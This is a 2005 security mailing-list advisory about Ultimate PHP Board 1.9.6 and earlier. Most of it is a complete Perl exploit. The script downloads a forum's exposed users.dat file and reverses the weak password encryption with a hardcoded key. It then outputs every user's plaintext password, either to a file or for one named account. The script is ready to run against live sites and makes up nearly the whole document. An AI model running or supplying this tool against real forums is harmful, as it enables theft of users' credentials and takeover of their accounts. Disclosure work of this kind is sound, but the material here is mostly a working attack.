[EXPL] Ultimate PHP Board Password Hash Decryptor

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To: list@securiteam.com
Date: 20 Jun 2005 10:04:06 +0200

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  Ultimate PHP Board Password Hash Decryptor
------------------------------------------------------------------------

SUMMARY

" <http://www.myupb.com/ourscripts_upb.php> UPB is a forum/message board
script. It supports threaded discussion with a comprehensive text database
system that we wrote here at PHP outburst for the back end."

A flaw in the permission settings of UPB allows arbitrary access to file
containing password hash, the following exploit can decrypt this password
hash and retrieve the plain text equivalent of the password.

DETAILS

Vulnerable Systems:
 * Ultimate PHP Board Password Hash Decryptor versions 1.9.6 and prior

Exploit:
#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Discovered and Coded by Alberto Trivero

# Password file is located at: http://www.example.com/upb/db/users.dat
/str0ke

use Getopt::Std;
use LWP::Simple;
getopt('hfu');

print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t= by Alberto Trivero =\n";
print "\t========================================\n\n";

if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
   print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR
-u [username]]\n\n";
   print "Examples:\nperl $0 -h http://www.example.com/upb/ -f
results.txt\n";
   print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
   exit(0);
}

$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtn".
"eltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxw".
"glmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdw".
"upkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqe".
"bcuiqggccl";

$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);

if($opt_f) {
   open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
   print RESULTS "Results for $opt_h\n","="x40,"\n\n";
   for($in=0;$in<@page;$in++) {
      $page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
      $page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password:
$1\n";
      &decrypt;
      print RESULTS "Decrypted Password: $crypt\n\n";
      $crypt="";
   }
   close(RESULTS);
   print "[+] Results printed correct in: $opt_f\n";
}

if($opt_u) {
   for($in=0;$in<@page;$in++) {
      if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
        print "[+] Username: $opt_u\n";
        print "[+] Crypted Password: $1\n";
         &decrypt;
         print "[+] Decrypted Password: $crypt\n";
         exit(0);
      }
   }
   print "[-] Username '$opt_u' doesn't exist\n";
}

sub decrypt {
   for($i=0;$i<length($1);$i++) {
      $i_key=ord(substr($key, $i, 1));
      $i_text=ord(substr($1, $i, 1));
      $n_key=ord(substr($key, $i+1, 1));
      $i_crypt=$i_text + $n_key;
      $i_crypt-=$i_key;
      $crypt.=chr($i_crypt);
   }
}

ADDITIONAL INFORMATION

The information has been provided by Alberto Trivero.

========================================

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